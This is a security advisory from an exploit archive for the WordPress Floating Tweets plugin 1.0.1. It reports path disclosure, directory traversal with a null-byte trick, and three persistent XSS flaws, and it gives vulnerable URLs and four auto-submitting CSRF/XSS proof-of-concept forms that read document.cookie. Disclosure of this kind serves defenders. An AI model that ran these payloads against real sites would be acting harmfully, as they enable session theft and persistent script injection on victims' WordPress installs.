what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Floating Tweets 1.0.1 XSS / Directory Traversal

WordPress Floating Tweets 1.0.1 XSS / Directory Traversal
Posted Jan 12, 2013
Authored by MustLive

WordPress Floating Tweets versions 1.0.1 and below suffer from cross site scripting, path disclosure, and directory traversal vulnerabilities.

tags | exploit, vulnerability, xss, file inclusion
SHA-256 | 66b5159581cff7c6e7158f2d4d68344064f524235219abbacb8b3267adfcbb35
Download | Favorite | View

WordPress Floating Tweets 1.0.1 XSS / Directory Traversal

Change Mirror Download
Hello list!

I want to warn you about multiple vulnerabilities in plugin Floating Tweets 
for WordPress.

These are Full path disclosure, Directory Traversal and Cross-Site Scripting 
vulnerabilities.

-------------------------
Affected products:
-------------------------

Vulnerable are Floating Tweets 1.0.1 and previous versions.

----------
Details:
----------

Full path disclosure (WASC-13):

http://site/wp-content/plugins/floating-tweets/dcwp_floating_tweets.php

http://site/wp-content/plugins/floating-tweets/dcwp_floating_tweets_widget.php

http://site/wp-content/plugins/floating-tweets/skin.php?skin=1

Directory Traversal (Windows) (WASC-33):

http://site/wp-content/plugins/floating-tweets/skin.php?widget_id=2&skin=1\1

DT allows to read only css-files (in folder /skins/ and subfolders). At 
turned off mq it's possible to use Null Byte Injection, which allows via DT 
to read arbitrary files.

XSS (persistent XSS) (WASC-08):

Three persistent XSS holes. For attack it's needed to bypass protection 
against CSRF (parameter savewidgets). E.g. using reflected XSS.

Floating Tweets XSS.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php" 
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][twitterUrl]" 
value='" style="xss:expression(alert(document.cookie))'>
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Floating Tweets XSS-2.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php" 
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][linkText]" 
value='" style="xss:expression(alert(document.cookie))'>
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Floating Tweets XSS-3.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php" 
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][tabText]" 
value='" style="xss:expression(alert(document.cookie))'>
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Examples of attack for these three XSS on IE7 and previous versions. With 
using of MouseOverJacking it's possible to attack any browsers. The code 
will execute right away at sending request and further at visiting 
http://site/wp-admin/widgets.php.

Floating Tweets XSS-4.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php" 
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][tabText]" 
value="'});alert(document.cookie);a({b:'">
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Example of attack on any browsers. The code will execute at main page and at 
any external pages of the site.

------------
Timeline:
------------ 

2012.08.30 - announced at my site.
2012.08.31 - informed developer.
2013.01.11 - disclosed at my site (http://websecurity.com.ua/6023/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close